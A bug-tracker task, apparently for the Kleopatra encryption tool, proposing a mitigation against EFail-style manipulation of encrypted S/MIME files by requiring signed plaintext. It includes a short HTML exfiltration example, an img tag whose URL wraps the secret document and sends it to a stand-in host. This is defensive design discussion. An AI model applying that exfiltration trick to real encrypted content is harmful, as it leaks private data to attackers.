Kleopatra: Mitigate manipulations of encrypted S/MIME files
Open, WishlistPublic

Description

While the EFail paper does not specifically mention this we see the following problem:

Bob sends Alice an HTML document. Eve does the same exfiltration trick as described in the EFail paper e.g. constructing something like:

<img src="http://my.site/? 
secret HTML document
"/>

While this attack needs more knowledge about the encrypted content it is feasible and not limited to HTML files.

As authenticated encryption is something for the far future ( T3979 ) we need a solution for the near future.

Our idea is:

  • Make sure that when working with an S/MIME file that the plaintext is always signed.
    • We do not care about authenticity / validity. Only about integrity.
    • This way an attacker would already need to know the hash of the plaintext.
  • When decrypting an S/MIME file automatically verify signatures and only allow to save the plain text if the hash of the signature is correct.
    • The the decrypted file could be an opaque signed file
    • The decrypted file could be the plaintext but a matching detached signature lies next to the encrypted file.

To reiterate: The signature does not necessarily need to be trusted, it only needs to verify that the hash of the plaintext matches a hash known to the sender, so that integrity is ensured.
Authenticity / trust will of course still be handled as usual.

If we should offer an option to disable this behavior in Kleopatra or if users should be required to use the command line for decryption of "not integrity assured files" is currently undecided.

Details

Version
master

Related Objects

aheinecke renamed this task from Kleopatra: Mitigate manipulations of encrypted S/MIME files (EFail) to Kleopatra: Mitigate manipulations of encrypted S/MIME files.May 15 2018, 2:02 PM
aheinecke lowered the priority of this task from Unbreak Now! to High.
aheinecke lowered the priority of this task from High to Wishlist.Jun 18 2018, 4:15 PM

I'm changing this to wishlist as I don't think anymore that we have something new here. When working with unsigned files the user has/had already the same problems as described in the issue.
(Wishlist does not mean that it will be ignored.)

Verifying a CMS signature with Kleopatra could be better though currently when decrypting it does not automatically look / verify for a corresponding signature. Once we have that we could then improve the warning and query for a signature file.

I'm adding this to the preliminary plan for 3.2.0.